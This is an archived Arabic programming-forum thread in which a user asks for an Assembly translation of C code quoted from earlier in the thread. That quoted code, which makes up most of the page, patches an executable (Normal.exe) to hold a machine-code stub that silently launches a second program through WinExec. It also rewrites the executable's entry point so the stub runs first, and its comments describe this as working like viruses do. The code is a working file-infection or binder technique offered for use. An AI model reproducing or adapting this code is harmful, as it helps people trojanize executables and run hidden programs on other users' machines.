الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

اضافة برنامج في برنامج آخر ؟؟

مغلقرائج
بدأه الاحتراف في 19 نوفمبر 2004 · 52 رد · 4,273 مشاهدة · في لغة Assembly لأنظمة 16, 32, 64 بت
مشاركة: واتساب X فيسبوك تيليجرام
#51

جزاك الله كل خير

#52

الظاهر ان هيبقى دمى ثقيل جدا اسئلتى كترت اليومين دول :lol:

ممكن كود البرنامج الموجود فى اول صفحة الموضوع بالاسمبلى بدلا من السى لانى لااعرف لغة السى :o

وهذا هو الكود

اقتباس
مرحبا ,,,

سنبدأ في موضوعك خطوة ,, خطوة

أولا : ربط البرامج ؟!

هذا الكود عبارة عن برنامج يقوم بكتابة برنامج صغير في مقدمة الملف Normal.exe

وبمجرد تشغيل البرنامج Normal فإنة يقوم بتشغيل PW.exe

ستجد في الملف المرفق 3 برامج والكود ضع الثلاث برامج في مجلد واحد وشغل

البرنامج الذي سيقوم بالدمج وهو pCexe وبعد ذلك قم بتشغيل Normal.exe ولاحظ !

الطريقة :

CODE 

int main(int argc, char* argv[])

{

HANDLE hexe=(HANDLE)-1;

HMODULE hKerDll=NULL;

DWORD* addr=NULL;

DWORD**  adddt=&addr;

BYTE dataw[MAX_PATH];

BYTE* ppch=dataw;

DWORD cbb=0;

ZeroMemory(dataw,100);

hKerDll=LoadLibrary (_T("Kernel32.dll"));

if(!hKerDll)

return 0;

hexe=CreateFile ("Normal.exe",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,

  (LPSECURITY_ATTRIBUTES )NULL,OPEN_EXISTING,0,NULL);

if(hexe==(HANDLE)-1)

{

MessageBox (NULL,"غير موجود  Normal.exe الملف","Error",MB_OK);

return 0;

}

/*

يبدأ البرنامج بالبحث عن عناوين لدوال تشغيل البرنامج

WinExec  : مثل الدالة

Normal ليتم حقنها في الملف

*/

addr=(DWORD*)GetProcAddress (hKerDll,_T("WinExec"));

if(!addr)

return 0;

/*

Normal الآن سنبدأ في كتابة برنامج صغير في مقدمة الملف

يقوم البرنامج بإستدعاء برنامج آخر ليقوم بتنفيذة , مثل عمل الفايروسات

البرنامج الذي سنكتبة بلغة الإسمبلي هو

000002A2  6A 01            PUSH 1;;SW_SHOWNORMAL

000002A4  68 72024000      PUSH 400272;; "PW"

000002A9  B8 C684E677      MOV EAX,77E684C6

000002AE  FFD0            CALL EAX;;WinExec

000002B0  E9 730E0000      JMP 00001128; عودة إلى البرنامج

هذا البرنامج عبارة عن إستخدام الأمر التالي

WinExec (SW_SHOWNORMAL,"PW.exe");

*/

////// إضافة معلومات الملف

SetFilePointer (hexe,0x272,NULL,FILE_BEGIN);

WriteFile (hexe,_T("PW.exe"),6,&cbb,NULL);

/////////  كتابة الكود في مقدمة الملف

SetFilePointer (hexe,0x2A2,NULL,FILE_BEGIN);

dataw[0]=0x6A;

dataw[1]=0x01;

dataw[2]=0x68;

dataw[3]=0x72;

dataw[4]=0x02;

dataw[5]=0x40;

dataw[6]=0x00;

dataw[7]=0xB8;

ppch=ppch+8;

memcpy(ppch,(void*)(DWORD**)adddt,4); //copy address

dataw[12]=0xFF;

dataw[13]=0xD0;

dataw[14]=0xE9;

dataw[15]=0x73;

dataw[16]=0x0E;

dataw[17]=0x00;

dataw[18]=0x00;

WriteFile (hexe,(LPCVOID)dataw,19,&cbb,NULL);

///// تغيير عنوان بداية البرنامج

ZeroMemory((PVOID)dataw,20);

SetFilePointer (hexe,0xE0,NULL,FILE_BEGIN);

dataw[0]=0xA2;

dataw[1]=0x02;

WriteFile (hexe,(LPCVOID)dataw,2,&cbb,NULL);

////

CloseHandle (hexe);

FreeLibrary (hKerDll);

printf("xxxxxx End xxxxxxx\n");

MessageBox (NULL,"تمت العملية بنجاح !",NULL,MB_OK);

return 0;

}

#53

up

هذا الموضوع مغلق.

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…